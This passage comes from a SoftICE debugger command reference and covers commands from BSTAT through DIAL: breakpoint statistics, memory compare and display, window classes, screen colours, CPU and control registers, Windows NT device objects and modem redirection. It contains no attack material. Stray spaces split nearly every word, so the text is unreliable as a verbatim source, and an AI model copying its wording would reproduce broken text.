Tot al number of t i mes Sof t I CE has eval uat ed t he br eakpoi nt .
Br eaks
Tot al number of t i mes t he br eakpoi nt has eval uat ed TRUE, and
Sof t I CE has ei t her popped up, or l ogged t he br eakpoi nt .
Popups
Tot al number of t i mes t he br eakpoi nt caused Sof t I CE t o pop up.
Logged
Tot al number of t i mes t he br eakpoi nt has been l ogged.
Mi sses
Tot al number of t i mes t he br eakpoi nt eval uat ed t o FALSE, and no
br eakpoi nt act i on was t aken.
Er r or s
Tot al number of t i mes t hat t he eval uat i on of a br eakpoi nt r esul t ed i n a
er r or .

Cur r ent Cat egor y:
Hi t s
Cur r ent number of t i mes t he br eakpoi nt has eval uat ed TRUE, but di d
not pop up because t he count had not expi r ed. ( Ref er t o expr essi on
macr o BPCOUNT. )
Mi sses
Cur r ent number of t i mes t he br eakpoi nt has eval uat ed FALSE and/ or
t he br eakpoi nt count has not expi r ed.

Mi scel l aneous Cat egor y:
St at us
Sof t I CE i nt er nal st at us code f or t he l ast t i me t he br eakpoi nt was
eval uat ed, or zer o i f no er r or occur r ed.
Scode
Last non- zer o Sof t I CE i nt er nal st at us code, or zer o i f no er r or has
occur r ed.
Cond.
Yes i f t he br eakpoi nt has a condi t i onal expr essi on, ot her wi se No.
Act i on
Yes i f t he br eakpoi nt has a def i ned br eakpoi nt act i on, ot her wi se No.

%Exampl e
The f ol l owi ng i s an exampl e usi ng t he BSTAT command f or br eakpoi nt #0:
: BSTAT 0
Br eakpoi nt St at i st i cs f or #00
BP # *00
Tot al s
Hi t s 2
Br eaks 2
Popups 2
Logged 0
Mi sses 0
Er r or s 0
Cur r ent
Hi t s 0
Mi sses 0
Mi sc
St at us 0
SCode 0
Cond. No
Pagina 675 di 991
Act i on Yes

: C
^C Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mi scel l aneous
^Compar e t wo dat a bl ocks.

%Synt ax
C st ar t - addr ess l l engt h st ar t - addr ess- 2

st ar t - addr ess: St ar t of f i r st memor y r ange.
l engt h: Lengt h i n byt es.
st ar t - addr ess- 2: St ar t of second memor y r ange.

%Use
The memor y bl ock speci f i ed by st ar t - addr ess and l engt h i s compar ed t o t he
memor y bl ock
speci f i ed by t he second st ar t addr ess.

When a byt e f r omt he f i r st dat a bl ock does not mat ch a byt e f r omt he second
dat a bl ock, bot h
byt es di spl ay, al ong wi t h t hei r addr esses.

%Exampl e
The f ol l owi ng exampl e compar es 10h byt es st ar t i ng at memor y l ocat i on
DS: 805FF000h t o
t he 10h byt es st ar t i ng at memor y l ocat i on DS: 806FF000h.
C ds: 805f f 000 l 10 ds: 806f f 000

: CLASS
^CLASS Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on on Wi ndow cl asses.

%Synt ax
For Wi ndows 3. 1
CLASS [ modul e- name]

For Wi ndows 95
CLASS [ - x] [ t ask- name]

For Wi ndows NT
CLASS [ - x] [ pr ocess- t ype | t hr ead- t ype | modul e- t ype | cl ass- name]

modul e- name: Any cur r ent l y l oaded Wi ndows modul e. Not al l Wi ndows modul es
have cl asses r egi st er ed.
- x: Di spl ay compl et e Wi ndows 95 or Wi ndows NT i nt er nal CLASS dat a
st r uct ur e, expandi ng appr opr i at e f i el ds i nt o mor e meani ngf ul f or ms.
t ask- name:
Any cur r ent l y execut i ng 16- or 32- bi t t ask.
pr ocess- t ype: Pr ocess name, pr ocess I D, or pr ocess handl e.
t hr ead- t ype Thr ead I D or t hr ead addr ess ( KTEB) .
modul e- t ype: Modul e name or modul e handl e.
cl ass- name: Name of a r egi st er ed cl ass wi ndow.

%Use For Wi ndows 95
The oper at i ng syst emmai nt ai ns t he st andar d wi ndow cl asses i n t he 16- bi t user
modul e ( per
Wi ndows 3. 1) . The oper at i ng syst emmai nt ai ns al l ot her wi ndow cl asses i n
separ at e l i st s on
behal f of each pr ocess. Each t i me a pr ocess or one of i t s DLLs r egi st er s a new
wi ndow cl ass,
r egi st r at i on pl aces t hat cl ass on one of t wo l i st s:
. The appl i cat i on gl obal l i st cont ai ns cl asses r egi st er ed wi t h t he CS_GLOBAL
at t r i but e.
Pagina 676 di 991
They ar e accessi bl e t o t he pr ocess or any of i t s DLLs.
. The appl i cat i on pr i vat e l i st cont ai ns non- gl obal cl asses. Onl y t he
r egi st er i ng modul e can
access t hem.

Fi nal l y, any pr ocess or DLL t hat at t empt s t o super cl ass one of t he st andar d
wi ndow cont r ol s,
f or exampl e, LI STBOX, r ecei ves a copy of t hat cl ass. The copy r esi des i n a
pr ocess- speci f i c
syst em- super cl ass l i st . By maki ng a copy of t he st andar d cl ass, a pr ocess or
DLL can super cl ass
any st andar d wi ndows cont r ol wi t hout af f ect i ng ot her pr ocesses i n t he syst em.

The pr ocess- speci f i c cl ass l i st s di spl ay i n t he f ol l owi ng or der :
. appl i cat i on pr i vat e
. appl i cat i on gl obal
. syst emsuper cl assed
I n t he out put , dashed l i nes separ at e each l i st .

For Wi ndows NT
The ar chi t ect ur e of cl ass i nf or mat i on under Wi ndows NT i s si mi l ar t o t hat of
Wi ndows 95 i n
t hat cl ass i nf or mat i on i s pr ocess speci f i c and t he oper at i ng syst emcr eat es
di f f er ent l i st s f or
gl obal and pr i vat e cl asses. Beyond t hi s, t he t wo oper at i ng syst ems have
si gni f i cant di f f er ences
i n how super - cl assi ng a r egi st er ed wi ndow cl ass i s i mpl ement ed.

Under Wi ndows NT, r egi st er ed wi ndow cl asses ar e consi der ed t empl at es t hat
descr i be t he base
char act er i st i cs and f unct i onal i t y of a wi ndow ( si mi l ar t o t he C++ not i on of an
abst r act cl ass) .
When a wi ndow of any cl ass i s cr eat ed, t he cl ass t empl at e i s i nst anced by
maki ng a physi cal
copy of t he cl ass st r uct ur e. Thi s i nst anced cl ass i s st or ed wi t h t he wi ndows
i nst ance dat a. Any
changes t o t he i nst anced cl ass dat a does not af f ect t he or i gi nal cl ass
t empl at e. Thi s concept i s
f ur t her ext ended when var i ous member s of t he wi ndows i nst anced cl ass st r uct ur e
ar e
modi f i ed. When t hi s occur s, t he i nst anced cl ass i s i nst anced agai n, and t he new
i nst ance
poi nt s t o t he or i gi nal i nst ance. Regi st er ed cl asses act as t empl at es f r omwhi ch
i nst ances of a
par t i cul ar cl ass can be cr eat ed; i n ef f ect t hi s i s obj ect i nher i t ance. Thi s
i nher i t ance cont i nues as
changes ar e made t o t he base f unct i onal i t y of t he cl ass.

I f you do not speci f y t he t ype par amet er , t he cur r ent cont ext i s assumed
because t he cl ass
i nf or mat i on i s pr ocess speci f i c. A pr ocess- name al ways over r i des a modul e of
t he same name.

To sear ch by modul e when t her e i s a name conf l i ct , use t he modul e handl e ( base
addr ess or
modul e dat abase sel ect or ) . Al so, modul e names ar e al ways cont ext sensi t i ve. I f
t he modul e i s
not l oaded i n t he cur r ent cont ext ( or t he CSRSS cont ext ) , t he CLASS command
i nt er pr et s
t he modul e name as a cl ass name i nst ead.

%Out put
For each cl ass, t he f ol l owi ng i nf or mat i on i s shown:
Pagina 677 di 991
Cl ass Handl e
Of f set of a dat a st r uct ur e wi t hi n USER. Ref er s t o wi ndows of t hi s cl ass.
Cl ass Name
Name t hat was passed when t he cl ass was r egi st er ed. I f no name was
passed, t he at omdi spl ays.
Owner
Modul e t hat has r egi st er ed t hi s wi ndow cl ass.

Wi ndow Pr ocedur e Addr ess of t he wi ndow pr ocedur e f or t hi s wi ndow cl ass.
St yl es Bi t mask of f l ags speci f i ed when t he cl ass was r egi st er ed.

%Exampl e For Wi ndows 3. 1
The f ol l owi ng exampl e uses t he CLASS command t o di spl ay al l t he cl asses
r egi st er s by t he
MSWORD modul e.
. : CLASS mswor d

Not e: Ther e ar e symbol s f or al l of t he wi ndow pr ocedur es, because Sof t I CE
i ncl udes al l of t he
expor t ed symbol s f r omUSER. EXE. I f a symbol i s not avai l abl e f or t he wi ndow
pr ocedur e, a hexadeci mal addr ess di spl ays.

Handl e Name Owner Wi ndow Pr ocedur e
0F24 #32772 USER TI TLEWNDPROC
0EFC #32771 USER SWI TCHWNDPROC
0ED4 #32769 USER DESKTOPWNDPROC
0E18 MDI Cl i ent USER MDI CLNTWNDPROC
0DDC ComboBox USER COMBOBXWNDPROC
0DA0 ComboLBox USER LBBOXTLWNDPROC
0D64 Scr ol l Bar USER SBWNDPROC
0D28 Li st Box USER LBOXCTLWNDPROC
0CF0 Edi t USER EDI TWNDPROC

: CLS
^CLS WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^Al t - F5
^Cl ear t he Command wi ndow.

%Synt ax
CLS

%Use
The CLS command cl ear s t he Sof t I CE Command wi ndow, al l di spl ay hi st or y, and
moves t he
pr ompt and t he cur sor t o t he upper l ef t hand cor ner of t he Command wi ndow.

: CODE
^CODE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Di spl ay i nst r uct i on byt es.

%Synt ax
CODE [ on | of f ]

%Use
The CODE command cont r ol s whet her or not t he act ual hexadeci mal byt es of an
i nst r uct i on
di spl ay when t he i nst r uct i on i s unassembl ed.
. I f CODE i s ON, t he i nst r uct i on byt es di spl ay.
. I f CODE i s OFF, t he i nst r uct i on byt es do not di spl ay.
. CODE wi t h no par amet er s di spl ays t he cur r ent st at e of CODE.
. The def aul t i s CODE mode OFF.

%Exampl e
Pagina 678 di 991
The f ol l owi ng command causes t he act ual hexadeci mal byt es of an i nst r uct i on t o
di spl ay
when t he i nst r uct i on i s unassembl ed.
CODE on

: COLOR
^COLOR Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Di spl ay or set t he scr een col or s.

%Synt ax
COLOR [ nor mal bol d r ever se hel p l i ne]

nor mal : For egr ound/ backgr ound at t r i but e t hat di spl ays nor mal t ext .
Def aul t = 07h gr ey on bl ack.
bol d: For egr ound/ backgr ound at t r i but e t hat di spl ays bol d t ext .
Def aul t = 0Fh whi t e on bl ack.
r ever se: For egr ound/ backgr ound at t r i but e t hat di spl ays r ever se vi deo t ext .
Def aul t = 71h bl ue on gr ey.
hel p: For egr ound/ backgr ound at t r i but e t hat di spl ays t he hel p l i ne
under neat h t he Command wi ndow.
Def aul t = 30h bl ack on cyan.
l i ne: For egr ound/ backgr ound at t r i but e t hat di spl ays t he hor i zont al l i nes
bet ween t he Sof t I CE wi ndows.
Def aul t = 02h gr een on bl ack.

%Use
Use t he COLOR command t o cust omi ze t he Sof t I CE scr een col or s on a col or
moni t or . Each
of t he f i ve speci f i ed col or s i s a hexadeci mal byt e wher e t he f or egr ound col or
i s i n bi t s 0- 3 and
t he backgr ound col or i s i n bi t s 4- 6. Thi s i s i dent i cal t o t he st andar d CGA
at t r i but e f or mat
wher e t her e ar e 16 f or egr ound col or s and 8 backgr ound col or s.

The act ual col or s r epr esent ed by t he 16 possi bl e codes ar e l i st ed i n t he
f ol l owi ng t abl e:
Code_Col or _____Code_Col or
0 bl ack A l i ght gr een
1 bl ue B l i ght cyan
2 gr een C l i ght r ed
3 cyan D l i ght magent a
4 r ed E yel l ow
5 magent a F whi t e
6 br own
7 gr ey
8 dar k gr ey
9 l i ght bl ue


%Exampl e
Thi s command causes t he f ol l owi ng col or assi gnment s:
COLOR 7 f 71 30 2

nor mal t ext : gr ey on bl ack
bol d t ext : whi t e on bl ack
r ever se vi deo t ext : bl ue on gr ey
hel p l i ne: bl ack on cyan
hor i zont al l i ne: gr een on bl ack


: CPU.
^CPU Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he r egi st er s.
Pagina 679 di 991

%Synt ax
CPU [ - i ]

- i : Di spl ays t he I / O API C.

%Use
The CPU command shows al l t he CPU r egi st er s ( gener al , cont r ol , debug, and
segment ) .

For Wi ndows NT
I f your PC cont ai ns a mul t i - pr ocessor mot her boar d t hat uses an I / O API C as an
i nt er r upt
cont r ol l er , t he CPU command di spl ays t he CPU l ocal and I / O API CS.

%Exampl e
The f ol l owi ng exampl e l i st s t he sampl e out put f r omt he CPU command under
Wi ndows 95
or Wi ndows NT on syst ems t hat do not use an I / O API C:

Pr ocessor 00 Regi st er s
- - - - - - - - - - - - - - - - - - - - - -
CS: EI P=0008: 8013D7AE SS: ESP=0010: 8014AB7C
EAX=00000041 EBX=FFDFF000 ECX=00000041 EDX=80010031
ESI =80147940 EDI =80147740 EBP=FFDFF600 EFL=00000246
DS=0023 ES=0023 FS=0030 GS=0000
CR0=8000003F PE MP EM TS ET NE PG
CR2=C13401D6
CR3=00030000
CR4=00000011 VME PSE
DR0=00000000
DR1=00000000
DR2=00000000
DR3=00000000
DR6=FFFF0FF0
DR7=00000400
EFL=00000246 PF ZF I F I OPL=0


The f ol l owi ng exampl e l i st s t he sampl e out put f r omt he CPU command under
Wi ndows NT
on a syst emt hat uses an I / O API C:

Pr ocessor 00 Regi st er s
- - - - - - - - - - - - - - - - - - - - - -
CS: EI P=0008: 8013D7AE SS: ESP=0010: 8014AB7C
EAX=00000041 EBX=FFDFF000 ECX=00000041 EDX=80010031
ESI =80147940 EDI =80147740 EBP=FFDFF600 EFL=00000246
DS=0023 ES=0023 FS=0030 GS=0000
CR0=8000003F PE MP EM TS ET NE PG
CR2=C13401D6
CR3=00030000
CR4=00000011 VME PSE
DR0=00000000
DR1=00000000
DR2=00000000
DR3=00000000
DR6=FFFF0FF0
DR7=00000400
EFL=00000246 PF ZF I F I OPL=0
- - - - - - - - Local api c- - - - - - - -
I D: 0
Ver si on: 30010
Pagina 680 di 991
Task Pr i or i t y: 41
Ar bi t r at i on Pr i or i t y: 41
Pr ocessor Pr i or i t y: 41
Dest i nat i on For mat : FFFFFFFF
Logi cal Dest i nat i on: 1000000
Spur i ous Vect or : 11F
I nt er r upt Command: 3000000: 60041
LVT ( Ti mer ) : 300FD
LVT ( Li nt 0) : 1001F
LVT ( Li nt 1) : 84FF
LVT ( Er r or ) : E3
Ti mer Count : 3F94DB0
Ti mer Cur r ent : 23757E0
Ti mer Di vi de: B


The f ol l owi ng exampl e l i st s t he sampl e out put f r omt he CPU - i command under
Wi ndows
NT on a syst emt hat uses an I / O API C:

I nt i Vect or Del i ver y St at us Tr i gger Dest Mode Dest i nat i on
01 91 Low. Pr i I dl e Edge Logi cal 01000000
03 61 Low. Pr i I dl e Edge Logi cal 01000000
04 71 Low. Pr i I dl e Edge Logi cal 01000000
08 D1 Fi xed I dl e Edge Logi cal 01000000
0C 81 Low. Pr i I dl e Edge Logi cal 01000000
0E B1 Low. Pr i I dl e Edge Logi cal 01000000
I / O uni t i d r egi st er : 0E000000
I / O uni t ver si on r egi st er : 000F0011

: CR
^CR Wi ndows 3. 1 Syst emI nf or mat i on
^Di spl ay t he cont r ol r egi st er s.

%Synt ax
CR

%Use
The CR command di spl ays t he cont ent s of t he t hr ee cont r ol r egi st er s CR0, CR2,
and CR3,
and t he debug r egi st er s i n t he Command wi ndow. CR0 i s t he pr ocessor cont r ol
r egi st er . CR2
i s t he r egi st er i n whi ch t he pr ocessor st or es t he most r ecent l y accessed
addr ess t hat r esul t ed i n
a page f aul t . CR3 cont ai ns t he physi cal addr ess of t he syst em' s page di r ect or y
( r ef er t o PAGE
on page 150) .

%Exampl e
The f ol l owi ng exampl e l i st s t he sampl e out put f r oma CR command:
CR0=8000003B PE MP TS ET NE PG
CR2=000CC985
CR3=002FE000
CR4=00000008 DE
DR1=00000000
DR2=00000000
DR3=00000000
DR6=FFFF0FF0
DR7=00000400


: CSI P
^CSI P Wi ndows 3. 1 Br eakpoi nt s
Pagina 681 di 991
^Set CS: EI P ( i nst r uct i on poi nt er ) memor y r ange qual i f i er f or al l br eakpoi nt s
( f or 16- bi t
^pr ogr ams onl y) .

%Synt ax
CSI P [ of f | [ not ] st ar t - addr ess end- addr ess | Wi ndows- modul e- name]

of f : Tur ns of f CSI P checki ng.
not Br eakpoi nt onl y occur s i f t he CS: EI P i s out si de t he speci f i ed r ange.
st ar t - addr ess: Begi nni ng of memor y r ange.
end- addr ess: End of memor y r ange.
Wi ndows- modul e- name: I f you speci f y a val i d Wi ndows- modul e- name i nst ead of a
memor y
r ange, t he r ange cover s al l code ar eas i n t he speci f i ed Wi ndows
modul e.

%Use For Wi ndows 3. 1
The CSI P command qual i f i es br eakpoi nt s so t hat t he code t hat causes t he
br eakpoi nt must
come f r oma speci f i ed memor y r ange. Thi s f unct i on i s usef ul when a pr ogr ami s
suspect ed of
acci dent al l y modi f yi ng memor y out si de of i t s boundar i es.

When br eakpoi nt condi t i ons ar e met , t he i nst r uct i on poi nt er ( CS: EI P) i s
compar ed t o t he
speci f i ed memor y r ange. I f i t i s wi t hi n t he r ange, t he br eakpoi nt act i vat es. To
act i vat e t he
br eakpoi nt onl y when t he i nst r uct i on poi nt er ( CS: EI P) i s out si de t he r ange, use
t he NOT
par amet er .

Because 16- bi t Wi ndows pr ogr ams ar e t ypi cal l y br oken i nt o sever al code segment s
scat t er ed
t hr oughout memor y, you can i nput a Wi ndows modul e name as t he r ange. I f you
ent er a
modul e name, t he r ange cover s al l code segment s i n t he speci f i ed Wi ndows
pr ogr amor DLL.
When you speci f y a CSI P r ange, i t appl i es t o ALL br eakpoi nt s t hat ar e cur r ent l y
act i ve.
I f do not speci f y par amet er s, t he cur r ent memor y r ange di spl ays.

For Wi ndows 95 and Wi ndows NT
For 32- bi t code, t hi s command i s obsol et e. Use condi t i onal expr essi ons t o
achi eve t hi s
f unct i onal i t y. CSI P st i l l wor ks f or 16- bi t code and modul es.

%Exampl e
The f ol l owi ng command causes br eakpoi nt s t o occur onl y i f t he CS: EI P i s NOT i n
t he ROM
BI OS when t he br eakpoi nt condi t i ons ar e met .
CSI P not $f 000: 0 $f f f f : 0

The f ol l owi ng command causes br eakpoi nt s t o occur onl y i f t he Wi ndows pr ogr am
CALC
causes t hem.
CSI P cal c

: D
^D Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Di spl ay/ ChangeMemor y
^Di spl ay memor y.

%Synt ax
For Wi ndows 3. 1
Pagina 682 di 991
D[ si ze] [ addr ess]

For Wi ndows 95 and Wi ndows NT
D[ si ze] [ addr ess [ l l engt h] ]
si ze

%Use
The D command di spl ays t he memor y cont ent s at t he speci f i ed addr ess.

The cont ent s di spl ay i n t he f or mat of t he si ze you speci f y. I f you do not
speci f y a si ze, t he l ast
si ze used di spl ays. The ASCI I r epr esent at i on di spl ays f or t he byt e, wor d, and
doubl e wor d
hexadeci mal f or mat s.

For t he dwor d f or mat , dat a i s di spl ayed i n t wo di f f er ent ways.
. I f t he di spl ayed segment i s a 32- bi t segment , t he dwor ds di spl ay as 32- bi t
hexadeci mal s
( ei ght hexadeci mal di gi t s) .
. I f t he di spl ayed segment i s a 16- bi t segment ( VM segment or LDT sel ect or ) ,
t he dwor ds
di spl ay as 16: 16 poi nt er s ( f our hexadeci mal di gi t s ' : ' f our mor e hexadeci mal
di gi t s) .

I f you do not speci f y an addr ess, t he command di spl ays memor y at t he next
sequent i al addr ess
af t er t he l ast byt e di spl ayed i n t he cur r ent Dat a wi ndow.
I f t he Dat a wi ndow i s vi si bl e, t he dat a di spl ays t her e; ot her wi se, i t di spl ays
i n t he Command
wi ndow. I n t he Command wi ndow, ei t her ei ght l i nes di spl ay or one l ess t han t he
l engt h of t he
wi ndow.

Val ue__Descr i pt i on
B Byt e
W Wor d
D Doubl e Wor d
S Shor t Real
L Long Real
T 10- Byt e Real

For f l oat i ng poi nt val ues, number s can di spl ay i n t he f ol l owi ng f or mat :
[ l eadi ng si gn] deci mal - di gi t s . deci mal - di gi t s E si gn exponent
The f ol l owi ng ASCI I st r i ngs can al so di spl ay f or r eal f or mat s:

For Wi ndows 95 and Wi ndows NT
I f an L par amet er f ol l owed by a l engt h i s speci f i ed, Sof t I CE di spl ays t he
r equest ed number of
byt es t o t he Command wi ndow r egar dl ess of whet her t he Dat a wi ndow i s vi si bl e.
Sof t I CE
al ways di spl ays whol e r ows. I f t he l engt h i s not a mul t i pl e of r ows, Sof t I CE
wi l l r ound up.

Thi s command i s usef ul when dumpi ng l ar ge amount s of dat a t o t he Command wi ndow
f or
t he pur pose of l oggi ng i t t o a f i l e.

%Exampl e
Di spl ays t he memor y st ar t i ng at addr ess ES: 1000h i n wor d f or mat and i n ASCI I
f or mat .
DWes: 1000

For Wi ndows 95 and Wi ndows NT
Pagina 683 di 991
The f ol l owi ng command di spl ays 4KB of memor y st ar t i ng at addr ess SS: ESP i n
dwor d
f or mat . The dat a i s di spl ayed i n t he Command wi ndow.
. : DD ss: esp l 1000

St r i ng Exponent : Mant i ssa Si gn
Not A Number al l 1' s NOT 0 +/ -
Denor mal al l 0' s NOT 0 +/ -
I nval i d 10 byt e onl y wi t h mant i ssa=0
I nf i ni t y al l 1' s 0 +/ -


: DATA
^DATA WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^Wi ndows 3. 1 - F12
^Change t o di spl ay anot her Dat a wi ndow.

%Synt ax
DATA [ wi ndow- number ]

wi ndow- number : Number of t he Dat a wi ndow you want t o vi ew.
Thi s can be 0, 1, 2, or 3.

%Use
Sof t I CE suppor t s up t o f our Dat a wi ndows. Each Dat a wi ndow can di spl ay a
di f f er ent addr ess
and/ or f or mat . Onl y one Dat a wi ndow i s vi si bl e at any t i me. Speci f yi ng DATA
wi t hout a
par amet er j ust swi t ches t o t he next Dat a wi ndow. The wi ndows ar e number ed f r om
0 t o 3.
Thi s number di spl ays on t he r i ght hand si de of t he l i ne above t he Dat a wi ndow.
I f you speci f y
a wi ndow- number af t er t he DATA command, Sof t I CE swi t ches t o di spl ay t hat
wi ndow. The
DATA command i s most usef ul when assi gned t o a f unct i on key. See Chapt er 8,

``Cust omi zi ng Sof t I CE, ' ' i n t he Usi ng Sof t I CE manual .

%Exampl e
Changes t he Dat a wi ndow t o Dat a wi ndow number 3.
DATA 3

: DEVI CE
^DEVI CE Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on on Wi ndows NT devi ces.

%Synt ax
DEVI CE [ devi ce- name | pdevi ce- obj ect ]

%Use
The DEVI CE command di spl ays i nf or mat i on on Wi ndows NT devi ce obj ect s. I f t he
DEVI CE command i s ent er ed wi t hout par amet er s, summar y i nf or mat i on di spl ays f or
al l
devi ce obj ect s f ound i n t he \ Devi ce di r ect or y. However , i f a speci f i c devi ce
obj ect i s i ndi cat ed,
ei t her by i t s obj ect di r ect or y name ( devi ce- name) or obj ect addr ess ( pdevi ce-
obj ect ) , mor e
det ai l ed i nf or mat i on di spl ays.

I f a di r ect or y i s not speci f i ed wi t h a devi ce- name, t he DEVI CE command at t empt s
t o l ocat e
t he named devi ce obj ect i n t he \ Devi ce obj ect di r ect or y. To di spl ay i nf or mat i on
about a devi ce
Pagina 684 di 991
obj ect t hat i s not l ocat ed i n t he \ Devi ce di r ect or y, speci f y t he compl et e
obj ect pat h name of
t he devi ce obj ect . When di spl ayi ng i nf or mat i on about a speci f i ed devi ce, t he
DEVI CE
command di spl ays f i el ds of t he DEVI CE_OBJ ECT dat a st r uct ur e as def i ned i n
NTDDK. H.
%Out put The f ol l owi ng f i el ds ar e shown as summar y i nf or mat i on:

Ref Cnt
Devi ce obj ect ' s r ef er ence count .
Dr vObj
Poi nt er t o t he dr i ver obj ect t hat owns t he devi ce obj ect .
Next Dev
Poi nt er t o t he next devi ce obj ect on t he l i nked l i st of devi ce obj ect s
t hat wer e cr eat ed by t he same dr i ver .
At t Dev
Poi nt er t o a devi ce obj ect t hat has been at t ached t o t he di spl ayed
obj ect vi a an I oAt t achDevi ceObj ect cal l . At t ached devi ce obj ect s ar e
essent i al l y I RP f i l t er s f or t he devi ces t o whi ch t hey ar e at t ached.
Cur I r p
Poi nt er t o t he I RP cur r ent l y bei ng ser vi ced f or t he devi ce obj ect by t he
devi ce obj ect ' s dr i ver .
DevExt en
Poi nt er t o devi ce dr i ver - def i ned devi ce obj ect ext ensi on dat a st r uct ur e.
Name
Name of t he devi ce, i f i t has one.

The f ol l owi ng ar e some f i el ds shown when det ai l ed i nf or mat i on i s pr i nt ed:

Fl ags
Def i ni t i on of t he devi ce obj ect ' s at t r i but es such as whet her I / O
per f or med on t he devi ce i s buf f er ed or not .
Vpb
Poi nt er t o t he devi ce' s associ at ed vol ume par amet er bl ock.
Devi ce Type
User - def i ned or pr e- def i ned val ue t hat Sof t I CE t r ansl at es t o a name.

%Exampl e
The f ol l owi ng exampl e shows t he DEVI CE command out put wi t h no par amet er s. I t
r esul t s i n
Sof t I CE pr i nt i ng summar y i nf or mat i on on al l devi ce obj ect s i n t he \ Devi ce
obj ect di r ect or y.
DEVI CE

Thi s exampl e uses t he DEVI CE command wi t h t he BEEP devi ce obj ect ' s name.
DEVI CE beep
Ref Cnt Dr vObj Next Dev At t Dev Cur I r p DevExt en Name
00000000 FD8CD910 00000000 00000000 00000000 FD8CD868 Beep
Ti mer * : 00000000
Fl ags : 00000044 DO_BUFFERED_I O | DO_DEVI CE_HAS_NAME
Char act er i st i cs : 00000000
Vpb* : 00000000
Devi ce Type : 1 FI LE_DEVI CE_BEEP
St ackSi ze : 1
&Queue : FD8CD7E4
Al i gnment Requi r ement : 00000000 FI LE_BYTE_ALI GNMENT
&Devi ceQueue : FD8CD810
&Dpc : FD8CD824
Act i veThr eadCount : 00000000
Secur i t yDescr i pt or * : E10E2528
&Devi ceLock : FD8CD84C
Sect or Si ze : 0000
Spar e1 : 0000
Pagina 685 di 991
Devi ceObj ect Ext n* : FD8CD8B8
Reser ved* : 00000000
Ref Cnt Dr vObj Next Dev At t Dev Cur I r p DevExt en Name
00000000 FD8CD910 00000000 00000000 00000000 FD8CD868 Beep
00000015 FD89E730 00000000 00000000 00000000 FD89C968 Nwl nkI px
00000001 FD892170 00000000 00000000 00000000 FD8980E8 Net bi os
00000000 FD89D730 00000000 00000000 00000000 FD897D68 I p
00000001 FD8CBB70 00000000 00000000 FD8DAA08 FD8CAF88 Keyboar dCl ass0
00000001 FD8C9F30 00000000 00000000 00000000 FD8C60F0 Vi deo0
00000001 FD8C9C90 00000000 00000000 00000000 FD8C50F8 Vi deo1
00000001 FD8CC530 00000000 00000000 FD8DAC08 FD8CBF88 Poi nt er Cl ass0
00000001 FD8DB550 FD8D3030 00000000 00000000 FD8D3FC8 RawTape
00000007 FD89D730 FD897CB0 00000000 00000000 FD897C48 Tcp
00000001 FD88A990 00000000 00000000 00000000 FD88A8A8 Par al l el Por t 0
00000003 FD8B3730 00000000 00000000 00000000 FD8A40E8 NE20001

: DEX
^DEX Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Di spl ay or assi gn a Dat a wi ndow expr essi on.

%Synt ax
DEX [ dat a- wi ndow- number [ expr essi on] ]

dat a- wi ndow- number : Number f r om0 t o 3 i ndi cat i ng whi ch Dat a wi ndow t o use.
Thi s
number di spl ays on t he r i ght hand si de of t he l i ne above t he Dat a
wi ndow.

%Use
The DEX command assi gns a dat a expr essi on t o any of t he f our Sof t I CE Dat a
wi ndows.
Ever y t i me Sof t I CE pops up, t he expr essi ons ar e r e- eval uat ed and t he memor y at
t hat l ocat i on
di spl ays i n t he appr opr i at e Dat a wi ndow. Thi s i s usef ul f or di spl ayi ng changi ng
memor y
l ocat i ons wher e t her e i s al ways a poi nt er t o t he memor y i n ei t her a r egi st er or
a var i abl e. The
dat a di spl ays i n t he cur r ent f or mat of t he Dat a wi ndow: ei t her byt e, wor d,
dwor d, shor t r eal ,
l ong r eal , or 10- byt e r eal . Thi s command i s t he same as ent er i ng t he command
D expr essi on
ever y t i me Sof t I CE pops up.

I f you t ype DEX wi t hout par amet er s, i t di spl ays al l t he expr essi ons cur r ent l y
assi gned t o t he
Dat a wi ndows.

To unassi gn an expr essi on f r oma Dat a wi ndow, t ype DEX f ol l owed by t he dat a-
wi ndow-
number , t hen pr ess Ent er .

To cycl e t hr ough t he f our Dat a wi ndows, use t he DATA command. Ref er t o DATA on
page
63.

%Exampl e
Ever y t i me Sof t I CE pops up, Dat a wi ndow 0 cont ai ns t he cont ent s of t he st ack.
DEX 0 ss: esp

Ever y t i me Sof t I CE pops up, Dat a wi ndow 1 cont ai ns t he cont ent s of t he memor y
poi nt ed at
by t he publ i c var i abl e Poi nt er Var i abl e.
DEX 1 @poi nt er var i abl e
Pagina 686 di 991
See Al so DATA

: DI AL
^DI AL Wi ndows 95, Wi ndows NT Cust omi zat i on
^Redi r ect consol e t o modem.

%Synt ax
DI AL [ on [ com- por t ] [ baud- r at e] [ i =i ni t - st r i ng] [ p=number ] | of f ]

com- por t : I f no com- por t i s speci f i ed i t uses COM1.
baud- r at e : Baud- r at e t o use f or modemcommuni cat i ons. The def aul t i s 38400.
The r at es ar e 1200, 2400, 4800, 9600, 19200, 23040, 28800, 38400,
57000, 115000.
i =i ni t - st r i ng Opt i onal modemi ni t i al i zat i on st r i ng.
p=number Tel ephone number .

%Use
The DI AL command i ni t i at es a cal l t o a r emot e machi ne vi a a modem. The r emot e
machi ne
must be r unni ng SERI AL. EXE and be wai t i ng f or a cal l . Once a connect i on i s
est abl i shed,
Sof t I CE i nput i s r ecei ved f r omt he r emot e machi ne and Sof t I CE out put i s sent t o
t he r emot e
machi ne. No i nput i s accept ed f r omt he l ocal machi ne except f or t he pop- up hot
key
sequence.

You can speci f y t he modemi ni t i al i zat i on st r i ng and phone number wi t hi n t he
Sof t I CE
conf i gur at i on set t i ngs, so t hat t he st r i ngs t hey speci f y become t he def aul t s
f or t he i and p
command- l i ne par amet er s. Ref er t o Chapt er 8, ``Cust omi zi ng Sof t I CE' ' i n t he
Usi ng Sof t I CE
manual .

On t he r emot e machi ne, onl y t he com- por t , baud- r at e, and i ni t par amet er s shoul d
be
speci f i ed t o SERI AL. EXE.

%Exampl e
